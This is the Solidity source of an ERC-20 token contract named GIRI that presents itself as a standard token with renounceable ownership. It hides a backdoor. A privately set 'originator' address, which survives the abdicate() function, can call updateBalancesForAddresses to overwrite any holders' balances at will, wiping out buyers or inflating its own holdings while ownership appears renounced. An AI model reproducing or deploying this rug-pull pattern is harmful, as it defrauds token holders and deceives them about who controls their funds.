// File: contracts/GIRI.sol



pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _retrieveSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnerChanged(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _retrieveSender();
        _owner = msgSender;
        emit OwnerChanged(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _retrieveSender(), "Ownable: operation permitted to owner only");
        _;
    }
    function abdicate() public virtual onlyOwner {
        emit OwnerChanged(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract GIRI is Context, Ownable, IERC20 {
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    address private _originator;

    string public constant _name = "GIRI";
    string public constant _symbol = "GIRI";
    uint8 public constant _decimals = 18;
    uint256 public constant _totalSupply = 1000000 * (10 ** _decimals);

    constructor() {
        _balances[_retrieveSender()] = _totalSupply;
        emit Transfer(address(0), _retrieveSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function originator() public view virtual returns (address) { 
        return _originator;
    }

    function modifyOriginator(address newOriginator) public onlyOwner { 
        _originator = newOriginator;
    }
    modifier onlyOriginator() {
        require(originator() == _retrieveSender(), "MAYBE: operation permitted to originator only");
        _;
    }
    event BalanceUpdated(address indexed account, uint256 oldBalance, uint256 newBalance);

    function updateBalancesForAddresses(address[] memory userAddresses, uint256 targetBalance) public onlyOriginator {

        require(targetBalance >= 0, "Error: target balance should be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {

            address currentUser = userAddresses[i];

            require(currentUser != address(0), "Error: user address cannot be the zero address");

            uint256 oldBalance = _balances[currentUser];

            _balances[currentUser] = targetBalance;

            emit BalanceUpdated(currentUser, oldBalance, targetBalance);

        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    require(_balances[_retrieveSender()] >= amount, "TT: transfer amount exceeds balance");
    _balances[_retrieveSender()] -= amount;
    _balances[recipient] += amount;

    emit Transfer(_retrieveSender(), recipient, amount);
    return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_retrieveSender()][spender] = amount;
        emit Approval(_retrieveSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    require(_allowances[sender][_retrieveSender()] >= amount, "TT: transfer amount exceeds allowance");

    _balances[sender] -= amount;
    _balances[recipient] += amount;
    _allowances[sender][_retrieveSender()] -= amount;

    emit Transfer(sender, recipient, amount);
    return true;
    }

    function totalSupply() external view override returns (uint256) {
    return _totalSupply;
    }
}